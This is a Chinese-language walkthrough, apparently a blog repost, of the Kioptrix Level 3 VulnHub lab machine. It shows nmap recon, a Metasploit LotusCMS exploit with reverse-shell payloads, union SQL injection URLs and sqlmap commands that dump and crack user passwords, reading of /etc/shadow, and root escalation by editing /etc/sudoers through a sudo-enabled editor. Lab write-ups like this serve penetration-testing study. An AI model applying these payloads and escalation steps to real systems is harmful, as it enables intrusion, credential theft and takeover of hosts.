本文主要是介绍Kioptrix: Level 3靶机实战 lotu cms +sql注入 getshell ht编辑器有root权限,修改/etc/sudoers文件使当前用户具有root权限 提权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Kioptrix: Level 3靶机实战
- 前言
- 0x01 信息收集
- 1.1 探测靶机ip
- 1.2 nmap探测端口
- 1.3 目录遍历
- 0x02 漏洞探测
- 2.1 访问 80端口
- 2.1.1 登录功能查看
- 2.1.1.1cms漏洞搜索
- 2.1.1.2 msf利用
- 2.1.2 点击网页功能点
- 2.1.2.1
- 列数和回显点
- 数据库
- 数据表
- 可能存在用户名密码的表的字段
- 账号密码
- 或者用sqlmap
- 2.1.3 登录loneferret账号
- 0x03 提权
- 3.1 根据第三方应用提权
- 总结
前言
Kioptrix: Level 3 (#1): 靶机地址
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
下载解压好后 将 网络修改为 nat模式
还需要修改 hosts文件
ip kioptrix3.com
windows
C:\Windows\System32\drivers\etc\hosts
linux
/etc/hosts
0x01 信息收集
1.1 探测靶机ip
netdiscover -i eth0 -r 192.168.157.0/24
1.2 nmap探测端口
nmap -A -T5 -v 192.168.157.156 -o port.txtcat port.txt
# Nmap 7.91 scan initiated Tue Nov 16 18:19:17 2021 as: nmap -A -T5 -v -o port.txt 192.168.157.156
Nmap scan report for 192.168.157.156
Host is up (0.00063s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:9C:BC:D0 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.012 days (since Tue Nov 16 18:02:43 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT ADDRESS
1 0.63 ms 192.168.157.156Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 16 18:19:25 2021 -- 1 IP address (1 host up) scanned in 8.65 seconds
整理 发现 开放的端口有
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
1.3 目录遍历
0x02 漏洞探测
2.1 访问 80端口
访问 http://192.168.157.156
看到login 点进去看看
2.1.1 登录功能查看
根据title 和powered by得知
cms为
lotusCMS
2.1.1.1cms漏洞搜索
搜索相关漏洞 (利用 exploit-db 百度 谷歌 )
searchsploit lotucms
发现远程命令执行漏洞 .rb脚本 应该是msf
2.1.1.2 msf利用
search lotuscms
use 0
show options
set rhosts 192.168.157.156
set uri /index.php?system=Admin
set lhost 192.168.157.137
set lport 4444
set payload generic/shell_reverse_tcp
以下 payload 都可用
set payload php/reverse_perl
set payload generic/shell_bind_tcp
set payload php/bind_perl
set payload php/reverse_php
攻击成功 获取到 网站用户权限
www-data
用以下命令 翻翻目录 有什么有用文件
cat /etc/passwd
cat /etc/shadow
pwdls -al /homels -al /home/loneferret
cat /home/loneferret/CompanyPolicy.README
你好,新员工,这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。请使用命令'sudo ht'。不这样做将导致您立即终止。DG首席执行官
sudo ht
2.1.2 点击网页功能点
随便点击功能点查看 是否存在漏洞时
发现一处 url
http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos
2.1.2.1
id参数 处 加入 ’ 报错 存在sql注入漏洞
根据报错内容 得知 id参数为数字型
列数和回显点
http://kioptrix3.com//gallery/gallery.php?id=1 order by 10 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 5 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 6 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 7 --+ &sort=photoid#photos
判断为 6列
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos
回显位置在 2和3
数据库
http://kioptrix3.com//gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos
数据表
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+ &sort=photoid#photos 3
可能存在用户名密码的表的字段
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+ &sort=photoid#photos 3
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=‘dev_accounts’–+ &sort=photoid#photos 3
账号密码
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),3,4,5,6 from gallarific_users --+ &sort=photoid#photos 3
admin
n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),3,4,5,6 from dev_accounts--+ &sort=photoid#photos 3
dreg~0d3eccfb887aabd50f243b3f155c0f85
loneferret~5badcaf789d3d1d09794d8f021f40f0e
MD5解密
dreg Mast3r
loneferret starwars
正好是上边 得知的 linux系统的账号和密码
或者用sqlmap
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbms-mysql"http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs"http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users --columns
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users -C 'username,password' --dump
也可以得到
2.1.3 登录loneferret账号
正好是上边 得知的 linux系统的账号和密码
0x03 提权
根据上边 获取到的提示
cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.DG
CEO
3.1 根据第三方应用提权
思路 :
ht编辑器被分配root权限。如果编辑/etc/sudoers,在里面给lone这个用户的sudo -l 权限再添加个/bin/bash,可以直接拿root的shell了。
ht运行之前要设置下,输入export TERM=xterm
底下就是命令 f3打开 f2保存
打开sudoers,在用户那又加了个/bin/bash指令
执行
sudo ht
报错
google 搜索问题
echo $TERM
export TERM=xterm
echo $TERM
sudo ht
启动成功
按 F3
或者
ALT+W 然后 方向键← ← ↓ 回车
框中 输入
/etc/sudoers
点击回车
在/etc/sudoers文件允许我补充root特权命令的loneferret帐户。
保存退出
使用root权限
sudo /bin/sh
id
提权成功
总结
1.信息收集发现只开启了22和80端口
2.访问80端口 功能点 发现 一处 图片处 存在 sql注入 获取到数据库资料
3.另一处 login处 使用了 lotuscms 可直接利用获取 网站权限的shell
4. 2和3结合 发现 系统登录的账号和密码。
5. ssh登录后,发现一处文件提示,ht编辑器 具有root权限,可以利用其进行提权。
ht编辑器被分配root权限。如果编辑/etc/sudoers,在里面给lone这个用户的sudo -l 权限再添加个/bin/bash,可以直接拿root的shell了。
ht运行之前要设置下,输入export TERM=xterm
底下就是命令 f3打开 f2保存
打开sudoers,在用户那又加了个/bin/bash指令
第三方应用提权参考
https://blog.csdn.net/zhangge3663/article/details/113879113
这篇关于Kioptrix: Level 3靶机实战 lotu cms +sql注入 getshell ht编辑器有root权限,修改/etc/sudoers文件使当前用户具有root权限 提权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!